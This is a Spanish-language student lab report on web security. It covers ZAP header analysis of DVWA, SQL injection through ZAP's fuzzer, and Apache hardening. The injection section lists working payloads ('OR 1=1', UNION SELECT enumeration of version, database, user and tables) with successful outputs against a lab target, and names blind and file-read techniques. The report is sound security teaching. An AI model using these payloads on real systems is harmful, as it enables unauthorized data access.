| Apellido, Nombre | Cédula de Identidad | Nro. de Práctica | Fecha |
|---|---|---|---|
| Gil, Jesús | 30175126 | 5 | 24-10-2025 |
| Guilarte, Andrés | 30246084 | 5 | 24-10-2025 |
Nombre de la Práctica: Web Application Analysis II & SQL Injection (Análisis de Vulnerabilidades en Servicios Web)
Grupo: 4 _______________
Al finalizar este laboratorio, el estudiante será capaz de:
which zaproxy # OWASP ZAP se utilizará para el análisis de encabezados de seguridad en vez de zapproxy
which sqlmap # SQLMap
which apache2 # Servidor Apache
Los pasos 1 y 3 se realizaron en la práctica anterior; la explicación detallada y las evidencias están en el informe de la Práctica 4. Consulte el informe en GitHub: Práctica 4 — Informe en GitHub
Se inició OWASP ZAP, la herramienta previamente utilizada para el análisis de vulnerabiliadades en la práctica anterior, con las mismas configuraciones que en la práctica anterior.
Se inició OWASP ZAP como proxy de interceptación para capturar y analizar el tráfico HTTP/HTTPS entre el navegador y DVWA.
http://192.168.100.20/dvwa/ ya que al objetivo no tener una dominio público, como por ejemplo dvwa.com, se debe usar directamente la dirección IP del dispotivo objetivo ya que no se puede usar el servicio de DNS para hacer las traducciones necesarias para realizar la comunicación.GET http://192.168.100.20/dvwa/login.php y se inspeccionaron los encabezados de la respuesta. A continuación se muestran: 1) la captura del servicio en el explorador y 2) el historial de peticiones visto desde ZAP (scan). Posterior a las imágenes se presenta la respuesta provista por el servidor.Captura del servicio en el explorador:
Historial de peticiones / Scan en ZAP:
HTTP/1.1 302 Found
Date: Fri, 10 Oct 2025 16:33:15 GMT
Server: Apache/2.2.8 (Ubuntu) DAV/2
X-Powered-By: PHP/5.2.4-2ubuntu5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: index.php
Content-Length: 0
Keep-Alive: timeout=15, max=97
Connection: Keep-Alive
Content-Type: text/html
Se procederá a documentar los Headers de seguirdad faltantes en la peticióny se clasificarán dependiendo de su importancia para la protección del objetivo.
| # | Encabezado HTTP | Vulnerabilidad Asociada | Impacto | Severidad |
|---|---|---|---|---|
| 1 | X-Frame-Options | Clickjacking | Un atacante puede cargar la página en un iframe invisible y engañar al usuario para que realice acciones no deseadas | 🔴 Alta |
| 2 | X-Content-Type-Options | MIME Sniffing | El navegador podría interpretar archivos de forma incorrecta, ejecutando código malicioso | 🟡 Media |
| 3 | Content-Security-Policy | XSS, Inyección de código | Sin CSP, la página puede cargar scripts de cualquier origen, facilitando ataques XSS | 🔴 Alta |
| 4 | Strict-Transport-Security | Man-in-the-Middle | Las conexiones pueden ser interceptadas si no se fuerza HTTPS | 🔴 Alta |
| 5 | X-XSS-Protection | Cross-Site Scripting | Desactiva protecciones del navegador contra XSS reflejado | 🟡 Media |
Como se puede observar, las petición realizada es sumamente insegura ya que faltan varios headers de seguridad lo que hace que sea un objetvio sencillo para los atacantes al existir varias vulnerabilidades sin mitigar que pueden ser explotadas mediante el uso de sus correspondientes exploits.
En vista de la situación previamente explicada, es necesario modificar el archivo de configuración del servidor web utilizado, Apache 2, para agregarle la configuración de los Headers faltantes para mitigar las vulnerabilidades asociadas con cada Header faltante. Para ello se realizó lo siguiente:
/etc/apache2/conf-available/security.conf, mediante el editor Nano para agregar las configuraciones respectivas.sudo a2enconf security y sudo apache2ctl configtest para habilitar la nueva configuración y para verificar que su sintaxis esté correcta, luego de que el segundo comando mostrará el mnesaje de “OK” se precedió a ejecutar el comando sudo systemctl restart apache2 para reiniciar el servicio de Apache 2 pare que se efectuen los cambios.X-Frame-Options: DENY y X-Frame-Options: SAMEORIGIN?
DENY: impide que la página sea cargada en un iframe desde cualquier origen (incluso el mismo).SAMEORIGIN: permite que la página sea embebida sólo por páginas del mismo origen (mismo esquema, host y puerto).Content-Security-Policy con la directiva frame-ancestors.'unsafe-inline' en CSP puede ser problemático?
'unsafe-inline' y usar scripts externos con nonces o hashes, además de aplicar políticas restrictivas.Luego de realizar los pasos del 1 al 4, se ejecutó el fuzzer con el payload 1' OR 1=1 # se analizó la respuesta y no se obtuvo el resultado esperado. Luego se detectó un error en el punto donde se insertaba el payload, por lo que se cambió la ubicación de la inyección y se colocó directamente en el parámetro id. A continuación se muestra el campo que solicita el user id en el fuzzer y la petición GET esperada para la verificación en ZAP.
Petición GET esperada:
GET http://192.168.100.20/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit HTTP/1.1
Host: 192.168.100.20
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: keep-alive
Referer: http://192.168.100.20/dvwa/vulnerabilities/sqli/
Cookie: security=low; PHPSESSID=c0262d9d636d93ae8570fa0233afdeaf
Upgrade-Insecure-Requests: 1
✔️ Punto de Verificación: En el panel inferior, pestaña “Request”, debe aparecer la petición anterior con el payload insertado en el parámetro id (por ejemplo id=1' OR 1=1 #) para proceder con el análisis de la respuesta.
Lo anterior está mal. En la imagen siguiente se muestra la forma correcta de insertar el payload en el parámetro id.
Qué estuvo mal
id.Submit=Submit) ni las cookies de sesión (security=low; PHPSESSID=…).En la siguiente imagen se muestra correctamente colocado el payload en el parámetro id.
💡 Explicación: El Fuzzer de ZAP permite enviar múltiples variaciones de una petición, reemplazando partes específicas con payloads maliciosos. Esto automatiza el proceso de probar diferentes vectores de ataque.
Después de ejecutar el fuzzer con el payload 1' OR 1=1 # se analizó la respuesta y no se obtuvo el resultado esperado.
Qué estuvo mal:
id.Submit=Submit) ni las cookies de sesión (security=low; PHPSESSID=…).Se detectó el error en el punto donde se insertaba el payload y se cambió la ubicación de la inyección.
id=1 en la URL.1 (no el parámetro completo id=1).⚠️ Importante: Seleccionar solo el valor que se desea reemplazar, no el nombre del parámetro.
El valor 1 debe aparecer ahora resaltado.
En el campo “String”, ingresar el payload:
1' OR 1=1 #
1' → Cierra la comilla de la consulta original.OR 1=1 → Condición siempre verdadera.# → Comentario en MySQL que ignora el resto de la consulta.Consulta original esperada:
SELECT first_name, surname FROM users WHERE user_id = '1';
Consulta inyectada:
SELECT first_name, surname FROM users WHERE user_id = '1' OR 1=1 #';
El # comenta la comilla final, evitando errores de sintaxis. La condición OR 1=1 hace que la cláusula WHERE siempre sea verdadera, devolviendo todos los usuarios.
Resultados esperados en la pestaña de resultados del fuzzing:
En lugar de la imagen, enlace al reporte en HTML publicado: Reporte del fuzzer (HTML publicado) — Abra el enlace en el navegador para ver el informe completo en formato HTML.
En lugar de la imagen, enlace al reporte en HTML publicado: Reporte del fuzzer (HTML publicado) — Abra el enlace en el navegador para ver el informe completo en formato HTML.
Resultado Obtenido (Inyección Exitosa):
1' OR 1=1 # — First name: admin — Surname: admin1' OR 1=1 # — First name: Gordon — Surname: Brown1' OR 1=1 # — First name: Hack — Surname: Me1' OR 1=1 # — First name: Pablo — Surname: Picasso1' OR 1=1 # — First name: Bob — Surname: Smith✅ Confirmación de Vulnerabilidad: La aplicación devolvió TODOS los usuarios de la base de datos en lugar de solo el usuario con ID 1, confirmando que es vulnerable a inyección SQL.
| Aspecto | Petición Legítima (id=1) | Petición Inyectada (id=1’ OR 1=1 #) |
|---|---|---|
| Código HTTP | 200 OK | 200 OK |
| Usuarios devueltos | 1 (admin) | 5 (todos los usuarios) |
| Tamaño de respuesta | ~850 bytes | ~2847 bytes |
| Tiempo de respuesta | ~30 ms | ~45 ms |
| Indicador de vulnerabilidad | ❌ Normal | ✅ VULNERABLE |
Análisis:
id.Consulta original:
SELECT first_name, surname FROM users WHERE user_id = '1';
Consulta con payload 1' OR 1=1 #:
SELECT first_name, surname FROM users WHERE user_id = '1' OR 1=1 #';
Desglose:
1' → Cierra la comilla original.OR 1=1 → Bypass lógico.# → Comentario en MySQL que ignora la comilla sobrante.| # | Payload | Objetivo | Resultado Obtenido | Estado |
|---|---|---|---|---|
| 1 | 1' OR '1'='1 |
Bypass de autenticación | Devuelve todos los usuarios | ✅ Exitoso |
| 2 | 1' UNION SELECT null, version() # |
Obtener versión de MySQL | Muestra: 5.0.51a-3ubuntu5 | ✅ Exitoso |
| 3 | 1' UNION SELECT null, database() # |
Obtener nombre de la BD | Muestra: dvwa | ✅ Exitoso |
| 4 | 1' UNION SELECT null, user() # |
Obtener usuario de BD | Muestra: root@localhost | ✅ Exitoso |
| 5 | 1' UNION SELECT table_name, null FROM information_schema.tables WHERE table_schema='dvwa' # |
Enumerar tablas | Lista: guestbook, users | ✅ Exitoso |
Análisis de Impacto:
users).1' OR 1=1 # devuelve todos los usuarios en lugar de generar un error?
'), inyecta una condición lógica siempre verdadera (OR 1=1) y usa # para comentar el resto de la consulta. El parser SQL recibe una sentencia sintácticamente válida cuya cláusula WHERE se reduce a una expresión que siempre evalúa true, por lo que el optimizador/ejecutor devuelve todas las filas que cumplen la consulta. Técnicamente: si la consulta original es WHERE user_id = '1' entonces tras la inyección la expresión queda WHERE user_id = '1' OR 1=1 -- y el plan de ejecución ya no filtra por user_id. Nota: el comportamiento exacto depende del contexto (si el parámetro era numérico sin comillas, codificación/escaping por la librería cliente, o si el framework usa ORM/prepared statements) — en esos casos el payload podría producir error o ser neutralizado.# y -- en inyecciones SQL?
# y -- son comentarios de una sola línea en muchos SGBD; sin embargo -- es la forma definida por el estándar SQL y suele requerir un espacio o control después (-- ) en implementaciones como MySQL/Oracle; MySQL admite # sin condiciones adicionales. Además existen comentarios de bloque /* ... */. Importante: el soporte varía por motor (p.ej. SQL Server acepta --, Oracle no reconoce # como comentario), y algunos conectores o filtros pueden normalizar/strippear comentarios, por lo que el payload debe adaptarse al dialecto objetivo para que el comentario efectivamente elimine el resto de la consulta y evite errores de sintaxis.UNION SELECT para leer columnas de la tabla users (p. ej. username, password_hash).information_schema (tables, columns) para localizar tablas/columnas sensibles.TRUE/FALSE con funciones como SUBSTRING()/ORD() para extraer caracteres uno a uno.SLEEP() o funciones equivalentes para inferir bits/caracteres por el tiempo de respuesta.LOAD_FILE() / INTO OUTFILE: leer o escribir ficheros si el servidor y permisos lo permiten.Se ejecutaron los comandos mostrados para realizar la instalacion del servidor web Apache en la máquina “Analista”.
# Actualizar repositorios
sudo apt update
# Instalar Apache2
sudo apt install apache2 -y
# Verificar instalación
apache2 -v
Se utiliza sudo apt update para actualizar la lista local de paquetes disponibles, asegurando que el sistema conozca las últimas versiones del software en los repositorios, luego sudo apt install apache2 -y descarga e instala el paquete del servidor web (junto con todas sus dependencias), donde -y omite la necesidad de confirmación manual, y finalmente, apache2 -v se ejecuta para verificar que la instalación haya sido exitosa al mostrar la versión del servidor recién instalado.
Se ejecutaron los comandos mostrados para iniciar y verificar el inicio exitoso de Apache2 en la máquina “Analista”.
# Iniciar el servicio Apache
sudo systemctl start apache2
# Verificar el estado
sudo systemctl status apache2
# Habilitar inicio automático (opcional)
sudo systemctl enable apache2
Estos comandos operan a través de la utilidad systemctl con privilegios de superusuario (sudo) para interactuar con el sistema de inicialización y gestión de servicios systemd. Específicamente, sudo systemctl start apache2 inicia la unidad de servicio apache2, activando el demonio del servidor web; a continuación, sudo systemctl status apache2 es fundamental para la verificación operativa, ya que consulta a systemd para obtener el estado actual del servicio, confirmando si está en estado active (running) o si ha fallado; finalmente, sudo systemctl enable apache2 configura el servicio para persistir después de los reinicios del sistema, creando los enlaces simbólicos necesarios que aseguran que apache2 se inicie automáticamente durante el proceso de arranque.
Se anexa el html de inicio por defecto de Apache luego de iniciar su servicio en la máquina analista como evidencia del correcto inicio de apache Página de inicio de Apache (HTML publicado), se debe mencionar que antes de acceder a la página de prueba se tuvo que desactivar el proxy para poder garantizar el correcto funcionamiento de Apache ya que en caso contrario ocurrirían los sigueinntes incovenientes:
Se identificó la IP de la máquina “Analista” ya es crucial obtener la dirección IP correcta de la máquina objetivo antes de iniciar cualquier escaneo, se obvtuvo mediaante el uso del comandoip addr show permite identificar la interfaz y la IP asignada a la máquina, es recomendable hacer pruebas de conexión luego de obtener la IP para garantizar la correcta conexión de la máquina hacia la red.
Se configuró el escaneo automatizado en OWASP ZAP indicando la URL objetivo en formato completo (http://192.168.100.27) y restringiendo el scope al host objetivo para limitar la superficie de prueba. Se seleccionó la araña tradicional para el descubrimiento de rutas estáticas y se habilitó la ajax spider cuando fue necesario para contenido dinámico.
Durante la ejecución se monitorearon en tiempo real las pestañas Spider, Active Scan y Alerts de ZAP, y se registraron métricas operativas relevantes (códigos HTTP, RTT, tasa de peticiones y errores 4xx/5xx).
Al concluir el escaneo se exportaron los resultados y se generó evidencia reproducible: para cada hallazgo se documentaron URL, método, request/response completos, payloads utilizados y capturas asociadas.
Se encontraron las siguientes vulnerabilidades luego de haber finalizado el escaneo realizado a la IP 192.168.100.27 correespondiente a la máquina “Analista”, de igual forma se realizó la exportación del informe en formato HTML que las contiene y su correspondiente se puede encontrar en el siguiente enlace Reporte de Alertas de Seguridad del 1er escaneo (HTML publicado).
| Alerta | Riesgo | Confianza | Ocurrencias | URL / Recurso | Evidencia |
|---|---|---|---|---|---|
| CSP: Failure to define directive with no fallback (form-action) | Medium | High | 1 | http://localhost | Header: Content-Security-Policy: ... falta form-action (directiva sin fallback). |
CSP: script-src 'unsafe-inline' |
Medium | High | 1 | http://localhost | Header: Content-Security-Policy: ... script-src 'self' 'unsafe-inline'; ... |
CSP: style-src 'unsafe-inline' |
Medium | High | 1 | http://localhost | Header: Content-Security-Policy: ... style-src 'self' 'unsafe-inline'; ... |
| Hidden File Found — server-status expuesto | Medium | High | 1 | http://localhost/server-status | GET /server-status → HTTP/200 con información de servidor (ej. versión Apache en body/headers). |
En vista de las vulnerabilidades identificadcas en el escaneo, es necesario reforzar la seguridad de Apache por lo que se ejectuó el comando sudo nano /etc/apache2/conf-available/security.conf para abrir el archivo de configuración de seguridad de Apache con el editor Nano para incorporar lo siguiente con el fin de mitigar las vulnerabilidades.
# Habilitar módulo de headers
sudo a2enmod headers
# Habilitar configuración de seguridad
sudo a2enconf security
# Verificar sintaxis
sudo apache2ctl configtest
# Reiniciar Apache
sudo systemctl restart apache2
Estos comandos representan pasos cruciales para mejorar la seguridad y funcionalidad de un servidor Apache. Se utiliza sudo a2enmod headers para habilitar el módulo mod_headers, que es esencial para manipular las cabeceras HTTP de las respuestas, permitiendo añadir o modificar elementos de seguridad críticos (como Content-Security-Policy o X-Frame-Options). Luego, sudo a2enconf security activa un archivo de configuración predefinido (generalmente llamado security.conf) que contiene directivas de seguridad recomendadas para mitigar vulnerabilidades comunes. Después de realizar estos cambios, sudo apache2ctl configtest verifica la sintaxis de todos los archivos de configuración de Apache para garantizar que no haya errores que impidan el inicio del servicio. Finalmente, sudo systemctl restart apache2 aplica estos nuevos módulos y configuraciones, deteniendo y volviendo a iniciar el servicio Apache para que los cambios surtan efecto.
Luego de este proceso, se realizó nuevamente el escaneo y ahora se presenta una tabla comparativa entre las alertas de cada tabla.
| Alerta | Presente en Andres_Guilarte_Jesus_Gil.html | Presente en reporte_apache_hardened.html | Evidencia / Observaciones |
|---|---|---|---|
| CSP: Falta de directiva sin fallback (form-action) | Sí | Sí | Header Content-Security-Policy no define form-action. Fragmento: Content-Security-Policy: default-src 'self'; ... |
CSP: script-src 'unsafe-inline' |
Sí | Sí | Header incluye script-src 'self' 'unsafe-inline'. Esto permite ejecución de scripts inline. |
CSP: style-src 'unsafe-inline' |
Sí | Sí | Header incluye style-src 'self' 'unsafe-inline'. Esto permite estilos inline que reducen la eficacia de CSP. |
Hidden File Found — /server-status expuesto |
Sí | Sí | GET /server-status → HTTP/200 con información del servidor (cabeceras/body muestran versión Apache/estado). |
Como se puede observar, no se lograron mitigar las vulnerabiliaddes luego de aplicar los cambios en el archivo de confugración de seguridad lo cual se puede deber a alguna de las siguientes razones:
sudo apache2ctl configtest y sudo systemctl status apache2; revisar /var/log/apache2/error.log.apache2ctl -S, ls -l /etc/apache2/sites-enabled/ /etc/apache2/conf-enabled/.Header u otras no tienen efecto si el módulo correspondiente no está activo.apache2ctl -M | grep headers (debe aparecer headers_module).header() en PHP), un proxy inverso o CDN puede alterar o restablecer cabeceras tras Apache.curl -I --no-keepalive http://<IP>/ desde la máquina analista y comparar con peticiones pasando por el proxy.curl -I desactivando el proxy; revisar configuración de ZAP/balancer/CDN.'unsafe-inline' o no define directivas obligatorias (ej. form-action), por lo que el scanner sigue reportando alertas.curl -I http://<IP> y revisar exactamente el valor de Content-Security-Policy.mod_status expone /server-status sin restricciones
curl -I http://<IP>/server-status y revisar /etc/apache2/mods-enabled/status.conf.curl -H 'Cache-Control: no-cache' -I http://<IP>/.ls -l) y que se reinició Apache con permisos root.conf-enabled/sites-enabled)./etc/apache2/conf-enabled/ y /etc/apache2/sites-enabled/.1.¿Por qué es importante deshabilitar el listado de directorios en Apache?
El Directory Listing expone la estructura de ficheros y recursos (backups, scripts, uploads, etc.), facilitando la enumeración y localización de activos sensibles y aumentando la superficie de ataque. Ejemplo de configuración: Options -Indexes.
2.¿Qué diferencia existe entre ServerTokens Prod y ServerTokens Full?
- ServerTokens Full: la cabecera Server incluye detalles (versión de Apache, módulos, SO), lo que facilita el fingerprinting y la búsqueda de CVE.
- ServerTokens Prod: minimiza la cabecera a un identificador genérico (por ejemplo Server: Apache), reduciendo la fuga de información. Complementar con ServerSignature Off para ocultar información en páginas de error.
3.¿Por qué no se recomienda habilitar HSTS en un servidor HTTP puro (sin HTTPS)?
HSTS solo tiene efecto sobre HTTPS; en HTTP es ignorado por navegadores. Activarlo sin HTTPS es inútil y puede ser peligroso (riesgo al usar preload). Habilitar HSTS solo cuando todo el sitio responde correctamente por HTTPS con certificados válidos y tras pruebas completas.
4.¿Qué otros módulos de Apache podrían mejorar la seguridad del servidor?
- mod_ssl — TLS/HTTPS.
- mod_headers — gestión de cabeceras de seguridad (CSP, HSTS, X-Frame-Options, X-Content-Type-Options).
- mod_security + OWASP CRS — WAF para detección/bloqueo de payloads.
- mod_reqtimeout, mod_evasive, mod_qos — mitigación de DoS/Slowloris y control de tasas.
- mod_authz_core, mod_auth_basic — control de acceso y autenticación.
- mod_remoteip — obtener IP real detrás de proxies para logging y reglas.
Recomendación general: deshabilitar módulos innecesarios, restringir mod_status y aplicar principio de mínimo privilegio.